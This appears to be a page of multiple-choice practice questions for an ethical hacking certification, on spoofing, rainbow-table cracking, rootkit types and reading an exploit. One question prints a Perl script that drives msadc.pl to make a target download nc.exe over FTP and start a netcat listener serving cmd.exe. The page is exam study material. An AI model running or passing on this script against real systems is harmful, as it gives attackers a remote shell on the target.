Which of the following types of attacks come under the category of hacker attacks?
Each correct answer represents a complete solution. Choose all that apply.

• A.IP address spoofing
• B.Password cracking
• C.Teardrop
• D.Smurf

Comment: *

Name: *

Email: *

Verification: *

Which of the following attacking methods allows the bypassing of access control lists on servers or routers, either hiding a computer on a network or allowing it to impersonate another computer by changing the Media Access Control address?

• A.IP address spoofing
• B.VLAN hoping
• C.ARP spoofing
• D.MAC spoofing

Comment: *

Name: *

Email: *

Verification: *

Which of the following password cracking attacks is based on a pre-calculated hash table to retrieve plain text passwords?

• A.Rainbow attack
• B.Brute Force attack
• C.Dictionary attack
• D.Hybrid attack

Comment: *

Name: *

Email: *

Verification: *

Adam, a malicious hacker performs an exploit, which is given below:
##################################################### $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP Server 89 $user = "Anonymous";# login as $pass = '[email protected]';# password ##################################################### $host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?

• A.Opens up a SMTP server that requires no username or password
• B.Creates a share called "sasfile" on the target system
• C.Creates an FTP server with write permissions enabled
• D.Opens up a telnet listener that requires no username or password

Comment: *

Name: *

Email: *

Verification: *

Which of the following types of rootkits replaces regular application binaries with Trojan fakes and modifies the
behavior of existing applications using hooks, patches, or injected code?

• A.Kernel level rootkit
• B.Boot loader rootkit
• C.Application level rootkit
• D.Hypervisor rootkit

Comment: *

Name: *

Email: *

Verification: *